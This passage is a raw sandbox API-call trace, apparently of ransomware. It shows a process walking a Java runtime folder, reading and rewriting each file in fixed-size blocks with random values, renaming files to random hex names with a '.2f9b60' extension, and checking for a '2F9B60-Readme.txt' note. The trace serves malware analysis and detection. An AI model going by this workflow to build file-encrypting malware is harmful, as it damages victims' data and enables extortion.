RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f79e0 [0141.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0141.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0141.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0141.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.091] WriteFile (hFile=0x1fdc, lpBuffer=0x421f79e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36bdfd20, lpOverlapped=0x0) [0179.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f79e0) returned 1 [0179.978] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.978] ReadFile (in: hFile=0x1fdc, lpBuffer=0x421e1180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36bdfd20, lpOverlapped=0x0 | out: lpBuffer=0x421e1180*, lpNumberOfBytesRead=0x36bdfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0182.083] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f090 [0182.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f090) returned 1 [0182.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42384990 [0182.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f090 [0182.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f0c0 [0182.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f0c0) returned 1 [0182.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.086] WriteFile (in: hFile=0x1fdc, lpBuffer=0x42384990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36bdfd20, lpOverlapped=0x0 | out: lpBuffer=0x42384990*, lpNumberOfBytesWritten=0x36bdfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0198.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42384990) returned 1 [0198.782] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0x16e8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.782] ReadFile (in: hFile=0x1fdc, lpBuffer=0x421e1180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36bdfd20, lpOverlapped=0x0 | out: lpBuffer=0x421e1180*, lpNumberOfBytesRead=0x36bdfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0199.137] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0x16e8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c3d0 [0199.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c3d0) returned 1 [0199.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423df1d0 [0199.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c3d0 [0199.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c400 [0199.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c400) returned 1 [0199.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.141] WriteFile (in: hFile=0x1fdc, lpBuffer=0x423df1d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36bdfd20, lpOverlapped=0x0 | out: lpBuffer=0x423df1d0*, lpNumberOfBytesWritten=0x36bdfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0209.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423df1d0) returned 1 [0209.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fbb0 [0209.986] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0209.986] WriteFile (in: hFile=0x1fdc, lpBuffer=0x1cebd7e0*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x36bdfdd0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd7e0*, lpNumberOfBytesWritten=0x36bdfdd0*=0x140, lpOverlapped=0x0) returned 1 [0217.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0217.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0217.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8040 [0217.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8040) returned 1 [0217.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0217.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8040 [0217.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0217.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7740) returned 1 [0217.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0217.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0217.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1ced7740 [0217.622] sprintf (in: _Dest=0x1ced7740, _Format="%c%c" | out: _Dest="99") returned 2 [0217.622] sprintf (in: _Dest=0x1ced7742, _Format="%c%c" | out: _Dest="76") returned 2 [0217.623] sprintf (in: _Dest=0x1ced7744, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.623] sprintf (in: _Dest=0x1ced7746, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.623] sprintf (in: _Dest=0x1ced7748, _Format="%c%c" | out: _Dest="bf") returned 2 [0217.623] sprintf (in: _Dest=0x1ced774a, _Format="%c%c" | out: _Dest="88") returned 2 [0217.623] sprintf (in: _Dest=0x1ced774c, _Format="%c%c" | out: _Dest="d6") returned 2 [0217.623] sprintf (in: _Dest=0x1ced774e, _Format="%c%c" | out: _Dest="b7") returned 2 [0217.623] sprintf (in: _Dest=0x1ced7750, _Format="%c%c" | out: _Dest="e7") returned 2 [0217.623] sprintf (in: _Dest=0x1ced7752, _Format="%c%c" | out: _Dest="88") returned 2 [0217.623] sprintf (in: _Dest=0x1ced7754, _Format="%c%c" | out: _Dest="ce") returned 2 [0217.623] sprintf (in: _Dest=0x1ced7756, _Format="%c%c" | out: _Dest="46") returned 2 [0217.623] sprintf (in: _Dest=0x1ced7758, _Format="%c%c" | out: _Dest="b9") returned 2 [0217.623] sprintf (in: _Dest=0x1ced775a, _Format="%c%c" | out: _Dest="1b") returned 2 [0217.623] RtlInitAnsiString (in: DestinationString=0x36bdfe48, SourceString="9976c2c2bf88d6b7e788ce46b91b" | out: DestinationString="9976c2c2bf88d6b7e788ce46b91b") [0217.623] RtlAnsiStringToUnicodeString (in: DestinationString=0x36bdfe18, SourceString="9976c2c2bf88d6b7e788ce46b91b", AllocateDestinationString=1 | out: DestinationString="9976c2c2bf88d6b7e788ce46b91b") returned 0x0 [0217.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62230 [0217.624] wcscat (in: _Dest=0x4309fbb0, _Source="9976c2c" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\9976c2c") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\9976c2c" [0217.624] wcscat (in: _Dest=0x4309fbb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\9976c2c.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\9976c2c.2f9b60" [0217.624] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\9976c2c.2f9b60", NtPathName=0x36bdfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\9976c2c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4dbf0 [0238.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dbf0) returned 1 [0238.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b9620) returned 1 [0238.390] NtQueryInformationFile (in: FileHandle=0x1fdc, IoStatusBlock=0x36bdfe58, FileInformation=0x36bdfe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36bdfe58, FileInformation=0x36bdfe68) returned 0x0 [0238.390] NtSetInformationFile (FileHandle=0x1fdc, IoStatusBlock=0x36bdfe58, FileInformation=0x36bdfe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309fbb0) returned 1 [0241.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62230) returned 1 [0241.843] FlushFileBuffers (hFile=0x1fdc) returned 1 [0241.847] CloseHandle (hObject=0x1fdc) returned 1 [0242.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f110 [0242.849] wcscpy (in: _Dest=0x1b85f110, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0242.850] wcscat (in: _Dest=0x1b85f110, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0242.850] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0242.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 [0242.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863b20) returned 1 Thread: id = 2083 os_tid = 0x13a8 [0138.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1ced6520 [0138.405] wcscpy (in: _Dest=0x1ced6520, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" [0138.405] wcscat (in: _Dest=0x1ced6520, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" [0138.405] wcscat (in: _Dest=0x1ced6520, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*" [0138.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f8c0 [0138.405] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d910 [0140.413] wcscmp (_String1=".", _String2=".") returned 0 [0140.413] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.414] wcscmp (_String1="..", _String2=".") returned 1 [0140.414] wcscmp (_String1="..", _String2="..") returned 0 [0140.414] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x488e, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0140.414] wcscmp (_String1="default.jfc", _String2=".") returned 1 [0140.414] wcscmp (_String1="default.jfc", _String2="..") returned 1 [0140.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x420619b0 [0140.414] wcscpy (in: _Dest=0x420619b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" [0140.414] wcscat (in: _Dest=0x420619b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" [0140.414] wcscat (in: _Dest=0x420619b0, _Source="default.jfc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" [0152.108] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\default.jfc")) returned 0x20 [0152.109] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc", dwFileAttributes=0x20) returned 1 [0152.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25e8 [0152.110] GetFileSizeEx (in: hFile=0x25e8, lpFileSize=0x36d8fc80 | out: lpFileSize=0x36d8fc80*=18574) returned 1 [0152.110] SetFilePointerEx (in: hFile=0x25e8, liDistanceToMove=0x488a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.110] ReadFile (in: hFile=0x25e8, lpBuffer=0x36d8fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36d8fc48, lpOverlapped=0x0 | out: lpBuffer=0x36d8fc00*, lpNumberOfBytesRead=0x36d8fc48*=0x4, lpOverlapped=0x0) returned 1 [0152.176] SetFilePointerEx (in: hFile=0x25e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0152.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205009b0 [0152.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a70 [0152.176] NtQuerySystemTime (in: CurrentTime=0x36d8fb40 | out: CurrentTime=0x36d8fb40*=132462177573802000) returned 0x0 [0152.176] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5cd0067f [0152.176] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x7742b518 [0152.176] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x3448b3e5 [0152.176] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x52e359a2 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x1979afb0 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x216d98a0 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x2bf4eadf [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x30efc41c [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x188a15f [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x59c09267 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x630aa61c [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x46442957 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x374bf165 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5991e24a [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x62b36fe7 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x1cebaa4f [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x142b2823 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x2ec0e1a7 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x14f72d4b [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5a1f0046 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x3f31e592 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x1c790801 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x6ad66e9e [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x598a2ee1 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5c50f12b [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x2bdb492d [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x79fa0da0 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x7c94824a [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x6568de92 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5fdb8722 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5d896555 [0152.177] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x6c9018 [0152.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b00 [0152.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0152.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b30 [0152.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0152.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a70) returned 1 [0152.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265430) returned 1 [0152.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425d0190 [0152.188] SetFilePointerEx (in: hFile=0x25e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.188] ReadFile (in: hFile=0x25e8, lpBuffer=0x425d0190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36d8fba0, lpOverlapped=0x0 | out: lpBuffer=0x425d0190*, lpNumberOfBytesRead=0x36d8fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0152.222] SetFilePointerEx (in: hFile=0x25e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ba0 [0152.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0152.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a70 [0152.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a70) returned 1 [0152.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425df1d0 [0152.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a70 [0152.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b90 [0152.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b90) returned 1 [0152.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0152.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0152.224] WriteFile (in: hFile=0x25e8, lpBuffer=0x425df1d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36d8fba0, lpOverlapped=0x0 | out: lpBuffer=0x425df1d0*, lpNumberOfBytesWritten=0x36d8fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0163.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425df1d0) returned 1 [0163.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425d0190) returned 1 [0163.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19ce0 [0163.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058b50 [0163.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0163.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19d10 [0163.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19d10) returned 1 [0163.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19d10 [0163.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19d40 [0163.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19d70 [0163.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19d70) returned 1 [0163.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0163.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b50) returned 1 [0163.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c177f0 [0163.093] SetFilePointerEx (in: hFile=0x25e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.093] WriteFile (in: hFile=0x25e8, lpBuffer=0x42c177f0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x36d8fc50, lpOverlapped=0x0 | out: lpBuffer=0x42c177f0*, lpNumberOfBytesWritten=0x36d8fc50*=0x108, lpOverlapped=0x0) returned 1 [0164.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0164.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500bf0 [0164.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500bf0) returned 1 [0164.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d180 [0164.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500bf0 [0164.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500bc0 [0164.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500bc0) returned 1 [0164.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0164.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ff70 [0164.958] sprintf (in: _Dest=0x1cd9ff70, _Format="%c%c" | out: _Dest="50") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff72, _Format="%c%c" | out: _Dest="40") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff74, _Format="%c%c" | out: _Dest="42") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff76, _Format="%c%c" | out: _Dest="30") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff78, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff7a, _Format="%c%c" | out: _Dest="24") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff7c, _Format="%c%c" | out: _Dest="9f") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff7e, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff80, _Format="%c%c" | out: _Dest="75") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff82, _Format="%c%c" | out: _Dest="67") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff84, _Format="%c%c" | out: _Dest="27") returned 2 [0164.958] sprintf (in: _Dest=0x1cd9ff86, _Format="%c%c" | out: _Dest="37") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff88, _Format="%c%c" | out: _Dest="55") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff8a, _Format="%c%c" | out: _Dest="12") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff8c, _Format="%c%c" | out: _Dest="15") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff8e, _Format="%c%c" | out: 